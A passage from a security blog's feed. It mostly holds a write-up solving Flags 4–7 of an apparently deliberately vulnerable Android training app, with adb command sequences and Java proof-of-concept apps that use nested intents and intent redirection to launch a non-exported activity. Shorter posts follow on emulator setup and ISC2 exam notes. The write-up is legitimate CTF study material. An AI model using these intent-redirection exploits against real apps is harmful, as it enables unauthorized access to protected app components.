                    Log.i(&quot;Flag4StateMachine&quot;, &quot;Transitioned from REVERT to INIT&quot;);
                    return;
                }
            } else if (&quot;GET_FLAG_ACTION&quot;.equals(action)) {
                setCurrentState(State.GET_FLAG);
                Toast.makeText(this, &quot;Transitioned from BUILD to GET_FLAG&quot;, 0).show();
                Log.i(&quot;Flag4StateMachine&quot;, &quot;Transitioned from BUILD to GET_FLAG&quot;);
                return;
            }
        } else if (&quot;BUILD_ACTION&quot;.equals(action)) {
            setCurrentState(State.BUILD);
            Toast.makeText(this, &quot;Transitioned from PREPARE to BUILD&quot;, 0).show();
            Log.i(&quot;Flag4StateMachine&quot;, &quot;Transitioned from PREPARE to BUILD&quot;);
            return;
        }
    } else if (&quot;PREPARE_ACTION&quot;.equals(action)) {
        setCurrentState(State.PREPARE);
        Toast.makeText(this, &quot;Transitioned from INIT to PREPARE&quot;, 0).show();
        Log.i(&quot;Flag4StateMachine&quot;, &quot;Transitioned from INIT to PREPARE&quot;);
        return;
    }
    Toast.makeText(this, &quot;Unknown state. Transitioned to INIT&quot;, 0).show();
    Log.i(&quot;Flag4StateMachine&quot;, &quot;Unknown state. Transitioned to INIT&quot;);
    setCurrentState(State.INIT);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re a good &lt;code&gt;script kiddie&lt;/code&gt;, you’ll recognize that this is just a series of nested conditions. To trigger the desired behavior, we need to call the actions in the correct order.&lt;/p&gt;
&lt;p&gt;You could do this with a Proof of Concept (POC) app using Android Studio, but I managed to achieve it using the &lt;code&gt;am&lt;/code&gt; manager, which simplifies things. Here’s how:&lt;/p&gt;
&lt;p&gt;We need to start from the topmost action and proceed in the following order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;PREPARE_ACTION&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BUILD_ACTION&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET_FLAG_ACTION&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;INIT_ACTION&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::caution
&lt;strong&gt;The order is crucial!&lt;/strong&gt; Missing the order will cause the process to fail.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a PREPARE_ACTION; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a BUILD_ACTION; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a GET_FLAG_ACTION; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag4Activity -a INIT_ACTION

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
If this block of commands doesn’t work, try running them one at a time.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;03-01 15:34:17.535  3570  3570 I Flag4   : success() called!
03-01 15:34:17.546  3570  3570 I Flag4   : HXT{xxxxxxxxxxxxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag5Activity&lt;/h1&gt;
&lt;p&gt;From this point onward, we’ll stop using the &lt;code&gt;adb&lt;/code&gt; manager and start writing some Proof of Concept (POC) apps using Android Studio.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag5Activity&quot;
    android:exported=&quot;true&quot;/&amp;gt;
&amp;lt;activity&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The activity is explicitly exported. Let’s dive deeper into its implementation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    this.f = new LogHelper(this);
    Intent intent = getIntent();
    Intent intent2 = (Intent) intent.getParcelableExtra(&quot;android.intent.extra.INTENT&quot;);
    if (intent2 == null || intent2.getIntExtra(&quot;return&quot;, -1) != 42) {
        return;
    }
    this.f.addTag(42);
    Intent intent3 = (Intent) intent2.getParcelableExtra(&quot;nextIntent&quot;);
    this.nextIntent = intent3;
    if (intent3 == null || intent3.getStringExtra(&quot;reason&quot;) == null) {
        return;
    }
    this.f.addTag(&quot;nextIntent&quot;);
    if (this.nextIntent.getStringExtra(&quot;reason&quot;).equals(&quot;back&quot;)) {
        this.f.addTag(this.nextIntent.getStringExtra(&quot;reason&quot;));
        success(this);
    } else if (this.nextIntent.getStringExtra(&quot;reason&quot;).equals(&quot;next&quot;)) {
        intent.replaceExtras(new Bundle());
        startActivity(this.nextIntent);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, what in the world is this? It looks like nested intents rather than nested conditions. An intent inside an intent? I decided to do some research and found this &lt;a href=&quot;https://stackoverflow.com/questions/13381535/sending-intent-inside-of-another-intent&quot;&gt;StackOverflow post&lt;/a&gt;, which helped me construct the POC app. Here’s how it works:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Outer Intent&lt;/strong&gt;: The initial intent that starts the Activity. (&lt;code&gt;intent&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;First Nested Intent&lt;/strong&gt;: Extracted from the outer intent using &lt;code&gt;getParcelableExtra&lt;/code&gt;. (&lt;code&gt;intent2&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Second Nested Intent&lt;/strong&gt;: Extracted from the first nested intent using &lt;code&gt;getParcelableExtra&lt;/code&gt;. (&lt;code&gt;intent3&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But something caught my attention:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (this.nextIntent.getStringExtra(&quot;reason&quot;).equals(&quot;back&quot;)) {
    this.f.addTag(this.nextIntent.getStringExtra(&quot;reason&quot;));
    success(this);
} else if (this.nextIntent.getStringExtra(&quot;reason&quot;).equals(&quot;next&quot;)) {
    intent.replaceExtras(new Bundle());
    startActivity(this.nextIntent);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;If the &lt;code&gt;reason&lt;/code&gt; equals &lt;code&gt;&quot;back&quot;&lt;/code&gt;, the &lt;code&gt;success()&lt;/code&gt; method is called.&lt;/li&gt;
&lt;li&gt;If the &lt;code&gt;reason&lt;/code&gt; equals &lt;code&gt;&quot;next&quot;&lt;/code&gt;, it replaces the &lt;code&gt;startActivity&lt;/code&gt; parameter with the &lt;code&gt;nextIntent&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This means we can pass another intent inside it. Keep this in mind, as we’ll revisit it later. For now, since we don’t need it to get &lt;code&gt;Flag5&lt;/code&gt;, let’s proceed.&lt;/p&gt;
&lt;p&gt;Here’s the POC app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Create the innermost intent (intent3)
        Intent intent3 = new Intent();
        intent3.putExtra(&quot;reason&quot;, &quot;back&quot;);

        // Create the middle intent (intent2) and embed intent3
        Intent intent2 = new Intent();
        intent2.putExtra(&quot;nextIntent&quot;, intent3);
        intent2.putExtra(&quot;return&quot;, 42);

        // Create the outer intent (intent1) and embed intent2
        Intent intent1 = new Intent();
        intent1.setClassName(&quot;io.hextree.attacksurface&quot;, &quot;io.hextree.attacksurface.activities.Flag5Activity&quot;);
        intent1.putExtra(&quot;android.intent.extra.INTENT&quot;, intent2);

        // Start the activity with the outer intent
        startActivity(intent1);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
this is only more illustration for noob guys like me, if you already got it then skip.
:::&lt;/p&gt;
&lt;p&gt;Still confused? Here’s how I managed to understand it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;In the target app, &lt;code&gt;intent2&lt;/code&gt; is extracted from &lt;code&gt;intent1&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Intent intent2 = (Intent) intent.getParcelableExtra(&quot;android.intent.extra.INTENT&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To reverse this in the POC app, we &lt;strong&gt;put&lt;/strong&gt; &lt;code&gt;intent2&lt;/code&gt; inside &lt;code&gt;intent1&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;intent1.putExtra(&quot;android.intent.extra.INTENT&quot;, intent2);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I hope this makes it clearer when writing your POC app.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;03-01 16:24:14.766  3685  3685 I Flag5   : success() called!
03-01 16:24:14.852  3685  3685 I Flag5   : HXT{xxxxxxxxxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag6Activity&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag6Activity&quot;
    android:exported=&quot;false&quot;/&amp;gt;
&amp;lt;activity&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oops! This activity is &lt;strong&gt;not exported&lt;/strong&gt;. How can we call it if it’s not exported? Is this a dead end?&lt;/p&gt;
&lt;p&gt;Well, not necessarily. Remember this part from &lt;strong&gt;Flag5Activity&lt;/strong&gt;?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (this.nextIntent.getStringExtra(&quot;reason&quot;).equals(&quot;back&quot;)) {
    this.f.addTag(this.nextIntent.getStringExtra(&quot;reason&quot;));
    success(this);
} else if (this.nextIntent.getStringExtra(&quot;reason&quot;).equals(&quot;next&quot;)) {
    intent.replaceExtras(new Bundle());
    startActivity(this.nextIntent);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What if we could abuse &lt;code&gt;startActivity(this.nextIntent);&lt;/code&gt; and place our intent inside it to target &lt;strong&gt;Flag6Activity&lt;/strong&gt;? This means we could potentially start &lt;strong&gt;Flag6Activity&lt;/strong&gt; indirectly. Let’s first examine &lt;strong&gt;Flag6Activity&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    this.f = new LogHelper(this);
    if ((getIntent().getFlags() &amp;amp; 1) != 0) {
        this.f.addTag(&quot;FLAG_GRANT_READ_URI_PERMISSION&quot;);
        success(this);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, it’s a simple activity that waits for the &lt;code&gt;FLAG_GRANT_READ_URI_PERMISSION&lt;/code&gt; flag to call the &lt;code&gt;success()&lt;/code&gt; method. This means we can reuse the POC app from &lt;strong&gt;Flag5Activity&lt;/strong&gt; with a slight modification to achieve our goal.&lt;/p&gt;
&lt;p&gt;This is called Intent Redirection, I recommend reading this blog by Anas
&lt;a href=&quot;https://medium.com/@0x3adly/android-intent-redirection-a-hackers-gateway-to-internal-components-ebe126bbb2e0&quot;&gt;https://medium.com/@0x3adly/android-intent-redirection-a-hackers-gateway-to-internal-components-ebe126bbb2e0&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here’s the updated POC app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Create the innermost intent (intent3)
        Intent intent3 = new Intent();
        intent3.putExtra(&quot;reason&quot;, &quot;next&quot;); // Set reason to &quot;next&quot; to trigger startActivity
        intent3.setClassName(&quot;io.hextree.attacksurface&quot;, &quot;io.hextree.attacksurface.activities.Flag6Activity&quot;);
        intent3.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // Add the required flag

        // Create the middle intent (intent2) and embed intent3
        Intent intent2 = new Intent();
        intent2.putExtra(&quot;nextIntent&quot;, intent3);
        intent2.putExtra(&quot;return&quot;, 42);

        // Create the outer intent (intent1) and embed intent2
        Intent intent1 = new Intent();
        intent1.setClassName(&quot;io.hextree.attacksurface&quot;, &quot;io.hextree.attacksurface.activities.Flag5Activity&quot;);
        intent1.putExtra(&quot;android.intent.extra.INTENT&quot;, intent2);

        // Start the activity with the outer intent
        startActivity(intent1);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Can you spot the difference? Here’s the key part:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Intent intent3 = new Intent();
intent3.putExtra(&quot;reason&quot;, &quot;next&quot;); // Set reason to &quot;next&quot; to trigger startActivity
intent3.setClassName(&quot;io.hextree.attacksurface&quot;, &quot;io.hextree.attacksurface.activities.Flag6Activity&quot;);
intent3.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // Add the required flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We changed the &lt;code&gt;reason&lt;/code&gt; to &lt;code&gt;&quot;next&quot;&lt;/code&gt; so the condition in &lt;strong&gt;Flag5Activity&lt;/strong&gt; evaluates to &lt;code&gt;true&lt;/code&gt;, triggering &lt;code&gt;startActivity(this.nextIntent)&lt;/code&gt;. Then, we set the target activity to &lt;strong&gt;Flag6Activity&lt;/strong&gt; and added the &lt;code&gt;FLAG_GRANT_READ_URI_PERMISSION&lt;/code&gt; flag.&lt;/p&gt;
&lt;p&gt;At first glance, this might seem complicated, but it’s actually quite simple. Think of it as an &lt;strong&gt;SSRF (Server-Side Request Forgery)&lt;/strong&gt; web vulnerability. In SSRF, you abuse a service to access internal resources that you wouldn’t normally have access to as an external user. Similarly, here we don’t have direct access to &lt;strong&gt;Flag6Activity&lt;/strong&gt; because it’s &lt;strong&gt;NOT&lt;/strong&gt; exported. However, by leveraging &lt;strong&gt;Flag5Activity&lt;/strong&gt;, we can gain indirect access from the inside. Got it?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;03-01 16:38:44.088  3685  3685 I Flag6   : success() called!
03-01 16:38:44.186  3685  3685 I Flag6   : HXT{xxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In fact, you can modify the script to call &lt;strong&gt;Flag2Activity&lt;/strong&gt; as well. Just make sure to add the required action:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Intent intent3 = new Intent();
intent3.putExtra(&quot;reason&quot;, &quot;next&quot;);
intent3.setClassName(&quot;io.hextree.attacksurface&quot;, &quot;io.hextree.attacksurface.activities.Flag2Activity&quot;);
intent3.setAction(&quot;io.hextree.action.GIVE_FLAG&quot;);
// intent3.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION); // Not needed for Flag2Activity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Success!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;03-01 16:40:26.367  3685  3685 I Flag2   : success() called!
03-01 16:40:26.395  3685  3685 I Flag2   : HXT{xxxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Flag7Activity&lt;/h1&gt;
&lt;p&gt;Finally, we’ve reached the last one!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;activity
    android:name=&quot;io.hextree.attacksurface.activities.Flag7Activity&quot;
    android:exported=&quot;true&quot;/&amp;gt;
&amp;lt;activity&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing unusual here. Let’s dig deeper into the code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    if (this.f == null) {
        this.f = new LogHelper(this);
    }
    String action = getIntent().getAction();
    if (action == null || !action.equals(&quot;OPEN&quot;)) {
        return;
    }
    this.f.addTag(&quot;OPEN&quot;);
}

@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
protected void onNewIntent(Intent intent) {
    super.onNewIntent(intent);
    String action = intent.getAction();
    if (action == null || !action.equals(&quot;REOPEN&quot;)) {
        return;
    }
    this.f.addTag(&quot;REOPEN&quot;);
    success(this);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, this activity uses &lt;strong&gt;instance reusing&lt;/strong&gt;. The first time it’s launched, it expects the action &lt;code&gt;&quot;OPEN&quot;&lt;/code&gt;. The second time, it expects the action &lt;code&gt;&quot;REOPEN&quot;&lt;/code&gt;. However, if we call this using the &lt;code&gt;am&lt;/code&gt; manager, wouldn’t it create two separate instances using &lt;code&gt;onCreate&lt;/code&gt;? How can we trigger &lt;code&gt;onNewIntent&lt;/code&gt; instead?&lt;/p&gt;
&lt;p&gt;This is where &lt;strong&gt;&lt;code&gt;FLAG_ACTIVITY_SINGLE_TOP&lt;/code&gt;&lt;/strong&gt; and the &lt;strong&gt;Activity Lifecycle&lt;/strong&gt; come into play. For more details, check out this &lt;a href=&quot;https://medium.com/@ranjeet123/android-activity-lifecycle-in-detail-eaf2931a1b37&quot;&gt;Android Activity Lifecycle guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here’s how to trigger it using &lt;code&gt;adb&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -n io.hextree.attacksurface/.activities.Flag7Activity -a OPEN; \
adb shell am start -n io.hextree.attacksurface/.activities.Flag7Activity -a REOPEN --activity-single-top

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How It Works&lt;/h3&gt;
&lt;p&gt;With &lt;code&gt;FLAG_ACTIVITY_SINGLE_TOP&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The existing instance of &lt;code&gt;Flag7Activity&lt;/code&gt; is reused.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;onNewIntent&lt;/code&gt; method is called, which handles the &lt;code&gt;&quot;REOPEN&quot;&lt;/code&gt; action and triggers &lt;code&gt;success(this)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Workflow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;First Launch (&lt;code&gt;OPEN&lt;/code&gt; action)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;onCreate&lt;/code&gt; is called.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;action&lt;/code&gt; is &lt;code&gt;&quot;OPEN&quot;&lt;/code&gt;, so &lt;code&gt;this.f.addTag(&quot;OPEN&quot;)&lt;/code&gt; is executed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reusing the Activity (&lt;code&gt;REOPEN&lt;/code&gt; action)&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;onNewIntent&lt;/code&gt; is called (because of &lt;code&gt;FLAG_ACTIVITY_SINGLE_TOP&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;action&lt;/code&gt; is &lt;code&gt;&quot;REOPEN&quot;&lt;/code&gt;, so &lt;code&gt;this.f.addTag(&quot;REOPEN&quot;)&lt;/code&gt; is executed, and &lt;code&gt;success(this)&lt;/code&gt; is called.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;03-01 23:22:40.775  3685  3685 I Flag7   : success() called!
03-01 23:22:40.812  3685  3685 I Flag7   : HXT{xxxxxxxxx}

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;So this is it for Part1, we managed to get the first 7 flag for the apk, which was all for the activity part. We will continue digging more in upcoming parts inshalah.
:::tip
I left some references in the end which I find super usefull, some were already mentioned above, make sure to check them all!
:::
:::important
If anyone has any question or an inquire or even want to contribute, feel free to hit me on any of social, I would love to discuss!
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;OFCOURSE HEXTREE.IO&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Android Activity Lifecycle&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://medium.com/@ranjeet123/android-activity-lifecycle-in-detail-eaf2931a1b37&quot;&gt;https://medium.com/@ranjeet123/android-activity-lifecycle-in-detail-eaf2931a1b37&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sending Intent Inside Another Intent&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://stackoverflow.com/questions/13381535/sending-intent-inside-of-another-intent&quot;&gt;https://stackoverflow.com/questions/13381535/sending-intent-inside-of-another-intent&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Android Developer Documentation&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://developer.android.com/guide/components/activities/intro-activities&quot;&gt;https://developer.android.com/guide/components/activities/intro-activities&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Intent Redirection&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://medium.com/@0x3adly/android-intent-redirection-a-hackers-gateway-to-internal-components-ebe126bbb2e0&quot;&gt;https://medium.com/@0x3adly/android-intent-redirection-a-hackers-gateway-to-internal-components-ebe126bbb2e0&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;pwny.cc&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.pwny.cc/so/android/intent&quot;&gt;https://www.pwny.cc/so/android/intent&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>Newbie Android Emulator Setup</title><link>https://ymuu.me/posts/android_emulator_setup/</link><guid isPermaLink="true">https://ymuu.me/posts/android_emulator_setup/</guid><description>Android Emulator Setup for Windows Without Android Studio IDE.</description><pubDate>Tue, 17 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Recently, I&apos;ve been exploring Android hacking and testing. While it&apos;s been quite enjoyable, I&apos;ve faced challenges with setting up the environment—specifically with emulators.&lt;/p&gt;
&lt;p&gt;I&apos;ve experimented with several emulators, and here&apos;s my honest feedback:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Genymotion → extremely buggy&lt;/li&gt;
&lt;li&gt;NOX → reminiscent of Bluestacks (if you know what I mean)&lt;/li&gt;
&lt;li&gt;VM with x86 Image → lacks user-friendliness&lt;/li&gt;
&lt;li&gt;Android Studio → requires excessive computing power&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Issue and Resolution&lt;/h2&gt;
&lt;p&gt;While each emulator has its share of bugs and issues, Android Studio proved to be the most reliable. However, the main drawback was needing to launch the entire IDE just to run the emulator. I wondered if there was a way to run the Android Emulator (Android Device Manager) without launching the full IDE and consuming unnecessary resources. After seeing this capability on Linux and MacOS, I decided to explore the possibility for Windows.&lt;/p&gt;
&lt;p&gt;This is exactly what I&apos;ll guide you through today.&lt;/p&gt;
&lt;h2&gt;Why Android Studio?&lt;/h2&gt;
&lt;p&gt;It&apos;s the most comprehensive emulator available for penetration testing needs. It offers numerous APIs and diverse image types, including both rooted and non-rooted versions, with or without GApps, and supports various mobile screen sizes.&lt;/p&gt;
&lt;h2&gt;Steps&lt;/h2&gt;
&lt;p&gt;:::important
If you already have Android Studio installed, please skip to the IMPORTANT PART
:::&lt;/p&gt;
&lt;p&gt;First, we need to install Android Studio → &lt;a href=&quot;https://developer.android.com/studio&quot;&gt;LINK&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After installation, open Android Studio and navigate to the Device Manager&lt;/p&gt;
&lt;p&gt;Find it in the top-left menu: Tools → Device Manager&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, I&apos;ve set up several devices, mostly Nexus 6. Why? This device offers root options with minimal issues, though without GApps. For CTFs, you won&apos;t really need GApps, but for real penetration testing scenarios, you definitely will.&lt;/p&gt;
&lt;p&gt;Now click the Plus Icon and select &quot;Create Virtual Machine&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image%201.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;here type nexus 6 and click next&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image%202.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here you&apos;ll see a variety of options to choose from. Select whichever API you want to test on, including AOSP and GApps&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image%203.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After downloading and selecting your preferred option, click Next&lt;/p&gt;
&lt;h2&gt;IMPORTANT PART&lt;/h2&gt;
&lt;p&gt;Here comes an important part: When selecting the name, avoid using any spaces to make it easier to use later. Make sure to copy this name.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image%204.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, scroll down and uncheck &quot;Enable device frame&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image%205.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you click on Advanced Settings, you&apos;ll see the system hardware configuration. If you&apos;re not familiar with these settings, it&apos;s best to leave them as they are. Click Finish when you&apos;re done.&lt;/p&gt;
&lt;p&gt;Now that you have your emulator set up, note that the AVD manager is &lt;strong&gt;MOSTLY&lt;/strong&gt; installed in this directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\%USERPROFILE%\AppData\Local\Android\Sdk\emulator\
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To run the emulator, use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\%USERPROFILE%\AppData\Local\Android\Sdk\emulator\emulator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To launch a specific emulator in PowerShell (without quotes), use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\%USERPROFILE%\AppData\Local\Android\Sdk\emulator\emulator -avd &quot;nameofAVD&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simply enter this command in a PowerShell terminal to start the emulator without running Android Studio.&lt;/p&gt;
&lt;p&gt;For convenience, you can save these commands for different APIs in a &lt;code&gt;.bat&lt;/code&gt; file like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image%206.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
Happy APK Hacking
:::&lt;/p&gt;
</content:encoded></item><item><title>ISC2 CC Exam Notes</title><link>https://ymuu.me/posts/isc2_cc_notes/</link><guid isPermaLink="true">https://ymuu.me/posts/isc2_cc_notes/</guid><description>Certified in Cybersecurity Exam Notes made by a noob guy.</description><pubDate>Sun, 08 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;h2&gt;Exam Review&lt;/h2&gt;
&lt;p&gt;The ISC2 CC exam is comprehensive, rich in content, and consists of multiple-choice questions. It is not as straightforward as some might claim; most questions require not just memorization but a deep understanding to identify the best choice among several options. The exam is designed to be tricky, so it is crucial to read each question carefully. I completed the exam in approximately 25 minutes.&lt;/p&gt;
&lt;p&gt;The exam took place at the AUC - Engineering Faculty Building. Candidates are not allowed to bring any personal belongings into the testing hall; these must be left in a locker provided outside. Inside the testing hall, other candidates may also be taking exams. An escort will guide you to your designated PC where you will begin your exam. The testing hall is closely monitored, so any attempts to circumvent the rules will be detected. If you need assistance during the exam, simply raise your hand, and a proctor will attend to you.&lt;/p&gt;
&lt;p&gt;Overall, the ISC2 CC exam is a rigorous assessment of your cybersecurity knowledge and skills. Success requires not only preparation but also careful attention to detail during the exam.&lt;/p&gt;
&lt;p&gt;:::note
The Ultimate Super Duper Notes
&lt;a href=&quot;https://www.notion.so/ISC2-CC-Exam-Notes-14f46f5c6df880619cf5c0aa4427fd92?pvs=21&quot;&gt;Click Here&lt;/a&gt;
:::&lt;/p&gt;
</content:encoded></item><item><title>CyberAnime Web Challenge Writeup</title><link>https://ymuu.me/posts/ctfs/cyberanimewriteup/</link><guid isPermaLink="true">https://ymuu.me/posts/ctfs/cyberanimewriteup/</guid><description>This writeup details the steps taken to solve the CyberAnime Web Challenge on Cybertalents.</description><pubDate>Sun, 07 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )&lt;/h1&gt;
&lt;p&gt;:::caution
#FreePalastine
:::&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
